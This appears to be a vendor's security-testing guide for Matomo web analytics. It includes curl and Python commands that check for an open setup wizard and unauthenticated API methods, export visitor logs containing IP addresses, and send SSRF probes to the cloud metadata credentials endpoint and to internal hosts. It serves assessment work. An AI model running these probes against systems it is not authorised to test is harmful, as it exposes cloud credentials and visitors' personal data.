Matomo (formerly Piwik) is the most widely deployed self-hosted web analytics platform, used by organizations that want to avoid sending visitor data to Google Analytics. Its security surface covers multiple attack vectors: Matomo requires an administrative setup on first launch — if the setup wizard at /index.php?action=welcome is accessible before setup completes, an attacker can register an admin account and gain full platform control; Matomo's tracking endpoint at matomo.php accepts a url parameter that is followed by the PHP server for page title detection — this SSRF vector can reach internal services when Matomo is deployed inside a corporate network; tracking parameters including UTM campaign values, custom dimension values, and the _ref referrer parameter are stored in the Matomo database and rendered in the admin interface — stored XSS is possible when these values are not properly sanitized; Matomo's REST API uses a token_auth parameter passed in the URL query string, which causes the API token to appear in server access logs, referrer logs, and browser history; and Matomo installations collect and store visitor IP addresses, session data, and browsing behavior — unauthorized access to the Matomo database or API constitutes a significant privacy and GDPR compliance incident. This guide covers systematic Matomo security assessment.
# Check if Matomo setup is incomplete (admin account not yet created)
# The welcome/setup wizard is accessible before the first admin is configured
curl -s -o /dev/null -w "%{http_code}" \
"https://analytics.example.com/index.php?action=welcome" 2>/dev/null
# 200 = setup available; could mean no admin configured yet
# Check Matomo version from the login page source
curl -s "https://analytics.example.com/" 2>/dev/null | \
grep -oE 'Matomo [0-9]+\.[0-9]+\.[0-9]+' | head -3
# Check Matomo's public API for unauthenticated data (some methods don't require auth)
# SitesManager.getSitesWithAtLeastViewAccess may work without auth
curl -s "https://analytics.example.com/index.php?module=API&method=SitesManager.getAllSites&format=JSON" \
2>/dev/null | python3 -c "
import json,sys
d = json.load(sys.stdin)
if isinstance(d, list):
print(f'Sites accessible without auth: {len(d)}')
for s in d[:5]: print(f\" {s.get('idsite')}: {s.get('name')} ({s.get('main_url')})\")
elif 'result' in d and d['result'] == 'error':
print(f'Auth required: {d.get(\"message\",\"?\")}')
else:
print(f'Response: {str(d)[:100]}')
" 2>/dev/null
# Matomo API authentication uses token_auth in URL query string
# This causes the token to appear in: web server access logs,
# referrer headers when API calls link to external resources,
# browser history, and network monitoring tools
# Demonstrate token exposure risk:
# API calls of the form:
# /index.php?module=API&method=...&token_auth=YOUR_TOKEN_HERE
# ... appear in logs as:
# 192.168.1.1 - - [03/Jul/2026] "GET /index.php?module=API&method=VisitsSummary.getVisits&token_auth=abc123secret&idSite=1&period=day&date=today HTTP/1.1"
# Test admin API brute force (common Matomo admin tokens are MD5 hashes)
# In Matomo, admin tokens are 32-char hex strings (MD5 format)
# Check API documentation for user token location:
# Admin -> Personal -> Security -> Auth tokens
# With a known token, enumerate all sites and their data:
TOKEN="your_token_here"
MATOMO_URL="https://analytics.example.com"
curl -s "${MATOMO_URL}/index.php?module=API&method=SitesManager.getAllSites&format=JSON&token_auth=${TOKEN}" \
2>/dev/null | python3 -c "
import json,sys
d = json.load(sys.stdin)
if isinstance(d, list):
print(f'Sites with this token ({len(d)} total):')
for s in d: print(f\" ID {s['idsite']}: {s['name']} — {s['main_url']}\")
" 2>/dev/null
# Export full visitor log (privacy-sensitive: IPs, pages visited, referrers)
curl -s "${MATOMO_URL}/index.php?module=API&method=Live.getLastVisitsDetails&idSite=1&count=10&format=JSON&token_auth=${TOKEN}" \
2>/dev/null | python3 -c "
import json,sys
d = json.load(sys.stdin)
if isinstance(d, list):
print(f'Visitor records: {len(d)}')
for v in d[:3]:
print(f\" IP: {v.get('visitIp','?')} country={v.get('country','?')} pages={v.get('actions','?')}\")
" 2>/dev/null
# Matomo's tracking endpoint fetches the tracked URL for page title resolution
# when JavaScript tracking is unavailable or when using the Image Tracker
# The server-side fetch of the url= parameter enables SSRF
# Standard Matomo image tracker call:
#
# SSRF test — point url= at internal infrastructure:
MATOMO_URL="https://analytics.example.com"
SITE_ID=1
# Test SSRF to cloud metadata service
curl -v "${MATOMO_URL}/matomo.php?idsite=${SITE_ID}&rec=1&send_image=0&url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
2>&1 | grep -E "(< HTTP|Location:|> GET)" | head -5
# Test SSRF to internal services
for TARGET in "http://192.168.1.1/" "http://10.0.0.1/" "http://localhost:8080/" \
"http://localhost:3306/" "http://internal-api:8000/admin"; do
CODE=$(curl -s -o /dev/null -w "%{http_code}" \
"${MATOMO_URL}/matomo.php?idsite=${SITE_ID}&rec=1&send_image=0&url=${TARGET}" \
2>/dev/null)
echo "SSRF probe ${TARGET}: HTTP ${CODE}"
done
| Security Test | Method | Risk |
|---|---|---|
| Setup wizard accessible before admin account creation | GET /index.php?action=welcome — attacker creates admin account on incomplete Matomo installation | Critical |
| token_auth API credential in URL query string | Server access logs contain full API URLs with token_auth parameter — credential exposure in logs | High |
| SSRF via tracking pixel url parameter | matomo.php?url=http://169.254.169.254/ — server fetches attacker-controlled URL for page title resolution | High |
| Stored XSS via UTM tracking parameters | Send crafted tracking request with JavaScript in utm_campaign — renders in Matomo admin reports without sanitization | High |
| Visitor data exfiltration via API | GET /index.php?module=API&method=Live.getLastVisitsDetails — exports full visitor log with IPs and browsing behavior | High |
| Unauthenticated API methods returning site data | GET /index.php?module=API&method=SitesManager.getAllSites — some Matomo API methods allow anonymous access | Medium |
Ironimo tests Matomo deployments for incomplete setup wizard accessible without authentication, API token_auth exposure in server access logs via URL-based authentication, SSRF via the tracking pixel url parameter fetched server-side for page title resolution, stored XSS via UTM campaign parameters and custom dimension values rendered in admin reports, visitor data exfiltration via the Live API returning IP addresses and browsing history, and unauthenticated API methods exposing tracked site metadata.
Start free scan